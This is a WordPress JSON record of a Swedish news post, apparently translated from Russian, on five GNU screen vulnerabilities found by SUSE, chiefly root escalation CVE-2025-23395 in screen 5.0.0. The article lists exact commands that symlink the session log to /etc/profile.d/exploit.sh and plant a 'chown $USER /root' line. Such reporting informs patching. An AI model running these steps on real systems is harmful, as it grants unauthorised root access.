{"id":124670,"date":"2025-05-13T03:05:07","date_gmt":"2025-05-13T01:05:07","guid":{"rendered":"https:\/\/prohoster.info\/blog\/novosti-interneta\/uyazvimost-v-gnu-screen-pozvolyayushhaya-vypolnit-kod-s-pravami-root"},"modified":"2025-05-13T03:05:07","modified_gmt":"2025-05-13T01:05:07","slug":"uyazvimost-v-gnu-screen-pozvolyayushhaya-vypolnit-kod-s-pravami-root","status":"publish","type":"post","link":"https:\/\/prohoster.info\/sv\/blog\/news\/uyazvimost-v-gnu-screen-pozvolyayushhaya-vypolnit-kod-s-pravami-root","title":{"rendered":"S\u00e5rbarhet i GNU screen som m\u00f6jligg\u00f6r exekvering av kod med root-r\u00e4ttigheter","gt_translate_keys":[{"key":"rendered","format":"text"}]},"content":{"rendered":"<p>I terminalf\u00f6nsterhanteraren (multiplexer) GNU screen, som erbjuder ett flervalsgr\u00e4nssnitt i konsolen, har 5 s\u00e5rbarheter identifierats. Det mest allvarliga problemet (CVE-2025-23395) m\u00f6jligg\u00f6r att f\u00e5 root-r\u00e4ttigheter i systemet. \u00c5tg\u00e4rden \u00e4r inaktiverad i dagens utg\u00e5va av screen 5.0.1.      <\/p>\n<p>S\u00e5rbarheten CVE-2025-23395 upptr\u00e4der endast i versionen screen 5.0.0, som levereras med Fedora Linux, Arch Linux, NetBSD, OpenBSD och Alpine. I Debian, Ubuntu, RHEL (EPEL 9), Gentoo, FreeBSD, SUSE\/openSUSE och OpenWrt forts\u00e4tter man att leverera versionen screen 4.x. Utnyttjande av s\u00e5rbarheten \u00e4r m\u00f6jligt i system som installerar exekverbara filer av screen med setuid-root-flagga, som i Arch Linux och NetBSD. I Fedora installeras verktyget med setgid-flagga f\u00f6r att f\u00e5 r\u00e4ttigheter f\u00f6r screen-gruppen, vilket g\u00f6r det m\u00f6jligt att placera sockets i systemkatalogen \/run\/screen, vilket begr\u00e4nsar m\u00f6jligheterna f\u00f6r en denial-of-service-attack.       <\/p>\n<p>S\u00e5rbarheten orsakas av att funktionen logfile_reopen() k\u00f6rs med root-r\u00e4ttigheter innan privilegierna har avbrutits, men hanterar data i kontexten av kataloger f\u00f6r den nuvarande oprivilegierade anv\u00e4ndaren som k\u00f6rde screen. Det \u00e4r v\u00e4rt att notera att den initiala \u00f6ppningen av loggen g\u00f6rs med korrekt privilegieborttagning, men vid \u00e5ter\u00f6ppning av loggfiler sker ingen privilegieborttagning.    <\/p>\n<p>Genom manipulation av aktiveringen av sessionens inneh\u00e5llsloggning kan en anv\u00e4ndare uppn\u00e5 att skriva data till en fil med root-r\u00e4ttigheter, medan filen kan sparas i anv\u00e4ndarens hemkatalog. Attacken g\u00e5r ut p\u00e5 att ta bort den skapade loggfilen och ers\u00e4tta den med en symbolisk l\u00e4nk som pekar p\u00e5 vilken fil som helst i systemet. Om filen redan finns kommer data fr\u00e5n sk\u00e4rminneh\u00e5llet i screen-sessionen att l\u00e4ggas till utan att \u00e4gander\u00e4ttigheten \u00e4ndras. Om filen inte finns kommer den att skapas med r\u00e4ttigheterna 0644, \u00e4gare som root och grupp som den aktuella anv\u00e4ndaren.    <\/p>\n<p>Attackalgoritmen som skapar filen \/etc\/profile.d\/exploit.sh med kommandot \"chown $USER \/root\":  <\/p>\n<ul>\n<li class=\"l\"> Skapa en screen-session med aktiverad loggning       $ screen -Logfile $HOME\/screen.log\n<li class=\"l\"> Tryck p\u00e5 tangentkombinationen Ctrl-a-H f\u00f6r att aktivera loggningen.\n<li class=\"l\"> Ta bort loggfilen och ers\u00e4tt den med en symbolisk l\u00e4nk som leder till skapandet av filen \/etc\/profile.d\/exploit.sh        $ rm $HOME\/screen.log; ln -s \/etc\/profile.d\/exploit.sh $HOME\/screen.log\n<li class=\"l\"> \u00c5terv\u00e4nd till screen-sessionen och skriv ut data som kommer att sparas i loggfilen.       $ echo -e \"\nchown $USER \/root;\"\n<li class=\"l\"> N\u00e4r den verkliga root-anv\u00e4ndaren ansluter till systemet k\u00f6rs skriptet \/etc\/profile.d\/exploit.sh, som \u00e4ndrar \u00e4garen f\u00f6r katalogen \/root.       $ ls -lhd \/root     drwxr-x\u2014 5 user root 4.0K Dec 30  2020 .\n<li class=\"l\"> P\u00e5 liknande s\u00e4tt kan konfigurationsfiler f\u00f6r sudo skapas eller kommandon l\u00e4ggas till i slutet av systemskrifterna.    <\/ul>\n<p>Mindre farliga s\u00e5rbarheter i screen:  <\/p>\n<ul>\n<li class=\"l\"> CVE-2025-46802 \u2014 f\u00e5ngst av TTY-enheten i flersessioner (anv\u00e4ndaren kan uppn\u00e5 att st\u00e4lla in r\u00e4ttigheterna crw-rw-rw- f\u00f6r enheten \/dev\/pts\/1). Problemet upptr\u00e4der i versionerna screen 4.x och 5.x.\n<li class=\"l\"> CVE-2025-46803 \u2014 standardinst\u00e4llning av r\u00e4ttigheterna 0622 p\u00e5 PTY-enheten, vilket till\u00e5ter alla anv\u00e4ndare att skriva. Problemet upptr\u00e4der endast i versionen screen 5.0.\n<li class=\"l\"> CVE-2025-46804 \u2014 l\u00e4cka av information om f\u00f6rekomsten av filer och kataloger i dolda kataloger (n\u00e4r man anger en katalog f\u00f6r socketar, anv\u00e4nder milj\u00f6variabeln SCREENDIR, ger verktyget olika felmeddelanden som indikerar f\u00f6rekomsten av filer och kataloger med det angivna namnet). Problemet upptr\u00e4der i versionerna screen 4.x och 5.x.\n<li class=\"l\"> CVE-2025-46805 \u2014 t\u00e4vlingsf\u00f6rh\u00e5llandena vid s\u00e4ndning av SIGCONT och SIGHUP-signaler, vilket leder till avbrott i tj\u00e4nsten. Problemet upptr\u00e4der i versionerna screen 4.x och 5.x.\n<li class=\"l\"> Felaktig anv\u00e4ndning av funktionen strncpy (ers\u00e4ttning av strcpy med strncpy utan att ta h\u00e4nsyn till skillnader i hanteringen av nollsymboler \"\\0\"), vilket leder till krasch vid exekvering av speciellt utformade kommandon. Problemet upptr\u00e4der endast i versionen screen 5.0.  <\/ul>\n<p>S\u00e5rbarheterna uppt\u00e4cktes under en granskning av kodbasen f\u00f6r GNU screen, utf\u00f6rd av teamet som ansvarar f\u00f6r s\u00e4kerheten i SUSE Linux-distributionen. Informationen om s\u00e5rbarheterna skickades till utvecklarna av screen den 7 februari, men under de tilldelade 90 dagarna kunde de inte f\u00f6rbereda korrigeringar f\u00f6r alla s\u00e5rbarheter, vilket tvingade SUSE:s anst\u00e4llda att f\u00f6rbereda vissa patchar sj\u00e4lva. Enligt forskarna som genomf\u00f6rde granskningen har de nuvarande underh\u00e5llarna av GNU screen inte tillr\u00e4cklig k\u00e4nnedom om kodbasen f\u00f6r projektet och kan inte helt f\u00f6rst\u00e5 de identifierade s\u00e4kerhetsproblemen.<br \/>\n<br \/>K\u00e4lla: <a content=\"nofollow\" rel=\"nofollow\" href=\"https:\/\/www.opennet.ru\/opennews\/art.shtml?num=63226\">opennet.ru<\/a> <\/p>","protected":false,"gt_translate_keys":[{"key":"rendered","format":"html"}]},"excerpt":{"rendered":"<p>\u0412 \u043a\u043e\u043d\u0441\u043e\u043b\u044c\u043d\u043e\u043c \u043e\u043a\u043e\u043d\u043d\u043e\u043c \u043c\u0435\u043d\u0435\u0434\u0436\u0435\u0440\u0435 (\u043c\u0443\u043b\u044c\u0442\u0438\u043f\u043b\u0435\u043a\u0441\u043e\u0440\u0435 \u0442\u0435\u0440\u043c\u0438\u043d\u0430\u043b\u043e\u0432) GNU screen, \u043f\u0440\u0435\u0434\u043e\u0441\u0442\u0430\u0432\u043b\u044f\u044e\u0449\u0435\u043c \u043c\u043d\u043e\u0433\u043e\u043e\u043a\u043e\u043d\u043d\u044b\u0439 \u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441 \u0432 \u043a\u043e\u043d\u0441\u043e\u043b\u0438, \u0432\u044b\u044f\u0432\u043b\u0435\u043d\u043e 5 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439. \u041d\u0430\u0438\u0431\u043e\u043b\u0435\u0435 \u043e\u043f\u0430\u0441\u043d\u0430\u044f \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 (CVE-2025-23395) \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u043f\u0440\u0430\u0432\u0430 root \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u0435. \u0418\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435 \u0432\u044b\u043a\u043b\u044e\u0447\u0435\u043d\u043e \u0432 \u0441\u043e\u0441\u0442\u0430\u0432 \u0441\u0435\u0433\u043e\u0434\u043d\u044f\u0448\u043d\u0435\u0433\u043e \u0432\u044b\u043f\u0443\u0441\u043a\u0430 screen 5.0.1. \u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2025-23395 \u043f\u0440\u043e\u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0442\u043e\u043b\u044c\u043a\u043e \u0432 \u0432\u0435\u0442\u043a\u0435 screen 5.0.0, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043f\u043e\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0432 Fedora Linux, Arch Linux, NetBSD, OpenBSD \u0438 Alpine. \u0412 Debian, [&hellip;]<\/p>\n","protected":false,"gt_translate_keys":[{"key":"rendered","format":"html"}]},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[702],"tags":[],"class_list":["post-124670","post","type-post","status-publish","format-standard","hentry","category-news"],"aioseo_notices":[],"aioseo_head":"\n\t\t<!-- All in One SEO 5.0.4 - aioseo.com -->\n\t<meta name=\"description\" content=\"\u0412 \u043a\u043e\u043d\u0441\u043e\u043b\u044c\u043d\u043e\u043c \u043e\u043a\u043e\u043d\u043d\u043e\u043c \u043c\u0435\u043d\u0435\u0434\u0436\u0435\u0440\u0435 (\u043c\u0443\u043b\u044c\u0442\u0438\u043f\u043b\u0435\u043a\u0441\u043e\u0440\u0435 \u0442\u0435\u0440\u043c\u0438\u043d\u0430\u043b\u043e\u0432) GNU screen, \u043f\u0440\u0435\u0434\u043e\u0441\u0442\u0430\u0432\u043b\u044f\u044e\u0449\u0435\u043c \u043c\u043d\u043e\u0433\u043e\u043e\u043a\u043e\u043d\u043d\u044b\u0439 \u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441 \u0432 \u043a\u043e\u043d\u0441\u043e\u043b\u0438, \u0432\u044b\u044f\u0432\u043b\u0435\u043d\u043e 5 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439.\" \/>\n\t<meta name=\"robots\" content=\"max-image-preview:large\" \/>\n\t<meta name=\"author\" content=\"Yuri Gagarin\"\/>\n\t<link rel=\"canonical\" href=\"https:\/\/prohoster.info\/sv\/blog\/news\/uyazvimost-v-gnu-screen-pozvolyayushhaya-vypolnit-kod-s-pravami-root\" \/>\n\t\t<meta name=\"generator\" content=\"All in One SEO (AIOSEO) 5.0.4\" \/>\n\t\t<meta property=\"og:locale\" content=\"sv_SE\" \/>\n\t\t<meta property=\"og:site_name\" content=\"ProHoster | \u041a\u0443\u043f\u0438\u0442\u044c \u043d\u0430\u0434\u0435\u0436\u043d\u044b\u0439 \u0445\u043e\u0441\u0442\u0438\u043d\u0433 \u0434\u043b\u044f \u0441\u0430\u0439\u0442\u043e\u0432 \u0441 \u0437\u0430\u0449\u0438\u0442\u043e\u0439 \u043e\u0442 DDoS, VPS VDS \u0441\u0435\u0440\u0432\u0435\u0440\u044b\" \/>\n\t\t<meta property=\"og:type\" content=\"article\" \/>\n\t\t<meta property=\"og:title\" content=\"\ud83e\udd47\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 GNU screen, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0430\u044f \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u043a\u043e\u0434 \u0441 \u043f\u0440\u0430\u0432\u0430\u043c\u0438 root | ProHoster\" \/>\n\t\t<meta property=\"og:description\" content=\"\u0412 \u043a\u043e\u043d\u0441\u043e\u043b\u044c\u043d\u043e\u043c \u043e\u043a\u043e\u043d\u043d\u043e\u043c \u043c\u0435\u043d\u0435\u0434\u0436\u0435\u0440\u0435 (\u043c\u0443\u043b\u044c\u0442\u0438\u043f\u043b\u0435\u043a\u0441\u043e\u0440\u0435 \u0442\u0435\u0440\u043c\u0438\u043d\u0430\u043b\u043e\u0432) GNU screen, \u043f\u0440\u0435\u0434\u043e\u0441\u0442\u0430\u0432\u043b\u044f\u044e\u0449\u0435\u043c \u043c\u043d\u043e\u0433\u043e\u043e\u043a\u043e\u043d\u043d\u044b\u0439 \u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441 \u0432 \u043a\u043e\u043d\u0441\u043e\u043b\u0438, \u0432\u044b\u044f\u0432\u043b\u0435\u043d\u043e 5 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439.\" \/>\n\t\t<meta property=\"og:url\" content=\"https:\/\/prohoster.info\/sv\/blog\/news\/uyazvimost-v-gnu-screen-pozvolyayushhaya-vypolnit-kod-s-pravami-root\" \/>\n\t\t<meta property=\"og:image\" content=\"https:\/\/prohoster.info\/wp-content\/uploads\/2021\/11\/logo-350.jpg\" \/>\n\t\t<meta property=\"og:image:secure_url\" content=\"https:\/\/prohoster.info\/wp-content\/uploads\/2021\/11\/logo-350.jpg\" \/>\n\t\t<meta property=\"og:image:width\" content=\"350\" \/>\n\t\t<meta property=\"og:image:height\" content=\"350\" \/>\n\t\t<meta property=\"article:published_time\" content=\"2025-05-13T01:05:07+00:00\" \/>\n\t\t<meta property=\"article:modified_time\" content=\"2025-05-13T01:05:07+00:00\" \/>\n\t\t<meta property=\"article:publisher\" content=\"https:\/\/www.facebook.com\/prohoster\" \/>\n\t\t<meta property=\"article:author\" content=\"https:\/\/www.facebook.com\/prohoster\" \/>\n\t\t<!-- All in One SEO -->\n\n","aioseo_head_json":{"title":"\ud83e\udd47S\u00e5rbarhet i GNU screen som till\u00e5ter k\u00f6rning av kod med root-r\u00e4ttigheter | ProHoster","description":"Fem s\u00e5rbarheter har uppt\u00e4ckts i terminalmultiplexor-verktyget GNU screen, som erbjuder ett f\u00f6nstergr\u00e4nssnitt i konsolen.","canonical_url":"https:\/\/prohoster.info\/sv\/blog\/news\/uyazvimost-v-gnu-screen-pozvolyayushhaya-vypolnit-kod-s-pravami-root","robots":"max-image-preview:large","keywords":"","webmasterTools":{"miscellaneous":""},"schema":null,"og:locale":"sv_SE","og:site_name":"ProHoster | \u041a\u0443\u043f\u0438\u0442\u044c \u043d\u0430\u0434\u0435\u0436\u043d\u044b\u0439 \u0445\u043e\u0441\u0442\u0438\u043d\u0433 \u0434\u043b\u044f \u0441\u0430\u0439\u0442\u043e\u0432 \u0441 \u0437\u0430\u0449\u0438\u0442\u043e\u0439 \u043e\u0442 DDoS, VPS VDS \u0441\u0435\u0440\u0432\u0435\u0440\u044b","og:type":"article","og:title":"\ud83e\udd47\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 GNU screen, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0430\u044f \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u043a\u043e\u0434 \u0441 \u043f\u0440\u0430\u0432\u0430\u043c\u0438 root | ProHoster","og:description":"\u0412 \u043a\u043e\u043d\u0441\u043e\u043b\u044c\u043d\u043e\u043c \u043e\u043a\u043e\u043d\u043d\u043e\u043c \u043c\u0435\u043d\u0435\u0434\u0436\u0435\u0440\u0435 (\u043c\u0443\u043b\u044c\u0442\u0438\u043f\u043b\u0435\u043a\u0441\u043e\u0440\u0435 \u0442\u0435\u0440\u043c\u0438\u043d\u0430\u043b\u043e\u0432) GNU screen, \u043f\u0440\u0435\u0434\u043e\u0441\u0442\u0430\u0432\u043b\u044f\u044e\u0449\u0435\u043c \u043c\u043d\u043e\u0433\u043e\u043e\u043a\u043e\u043d\u043d\u044b\u0439 \u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441 \u0432 \u043a\u043e\u043d\u0441\u043e\u043b\u0438, \u0432\u044b\u044f\u0432\u043b\u0435\u043d\u043e 5 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439.","og:url":"https:\/\/prohoster.info\/sv\/blog\/news\/uyazvimost-v-gnu-screen-pozvolyayushhaya-vypolnit-kod-s-pravami-root","og:image":"https:\/\/prohoster.info\/wp-content\/uploads\/2021\/11\/logo-350.jpg","og:image:secure_url":"https:\/\/prohoster.info\/wp-content\/uploads\/2021\/11\/logo-350.jpg","og:image:width":350,"og:image:height":350,"article:published_time":"2025-05-13T01:05:07+00:00","article:modified_time":"2025-05-13T01:05:07+00:00","article:publisher":"https:\/\/www.facebook.com\/prohoster","article:author":"https:\/\/www.facebook.com\/prohoster"},"aioseo_meta_data":{"post_id":"124670","title":null,"description":null,"keywords":null,"keyphrases":null,"primary_term":null,"canonical_url":null,"og_title":null,"og_description":null,"og_object_type":"default","og_image_type":"default","og_image_url":null,"og_image_width":null,"og_image_height":null,"og_image_custom_url":null,"og_image_custom_fields":null,"og_video":null,"og_custom_url":null,"og_article_section":null,"og_article_tags":null,"twitter_use_og":false,"twitter_card":"default","twitter_image_type":"default","twitter_image_url":null,"twitter_image_custom_url":null,"twitter_image_custom_fields":null,"twitter_title":null,"twitter_description":null,"schema":{"blockGraphs":[],"customGraphs":[],"default":{"data":{"Article":[],"Course":[],"Dataset":[],"FAQPage":[],"Movie":[],"Person":[],"Product":[],"ProductReview":[],"Car":[],"Recipe":[],"Service":[],"SoftwareApplication":[],"WebPage":[]},"graphName":"","isEnabled":true},"graphs":[]},"schema_type":"default","schema_type_options":null,"pillar_content":false,"robots_default":true,"robots_noindex":false,"robots_noarchive":false,"robots_nosnippet":false,"robots_nofollow":false,"robots_noimageindex":false,"robots_noodp":false,"robots_notranslate":false,"robots_max_snippet":null,"robots_max_videopreview":null,"robots_max_imagepreview":"large","priority":null,"frequency":null,"local_seo":null,"seo_analyzer_scan_date":"2026-01-23 12:46:45","breadcrumb_settings":null,"limit_modified_date":false,"reviewed_by":null,"ai":null,"created":"2026-01-23 12:46:45","updated":"2026-01-23 12:46:45","focus_keyword":null,"additional_keywords":null,"truseo_locale":null},"gt_translate_keys":[{"key":"link","format":"url"}],"_links":{"self":[{"href":"https:\/\/prohoster.info\/sv\/wp-json\/wp\/v2\/posts\/124670","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/prohoster.info\/sv\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/prohoster.info\/sv\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/prohoster.info\/sv\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/prohoster.info\/sv\/wp-json\/wp\/v2\/comments?post=124670"}],"version-history":[{"count":0,"href":"https:\/\/prohoster.info\/sv\/wp-json\/wp\/v2\/posts\/124670\/revisions"}],"wp:attachment":[{"href":"https:\/\/prohoster.info\/sv\/wp-json\/wp\/v2\/media?parent=124670"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/prohoster.info\/sv\/wp-json\/wp\/v2\/categories?post=124670"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/prohoster.info\/sv\/wp-json\/wp\/v2\/tags?post=124670"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}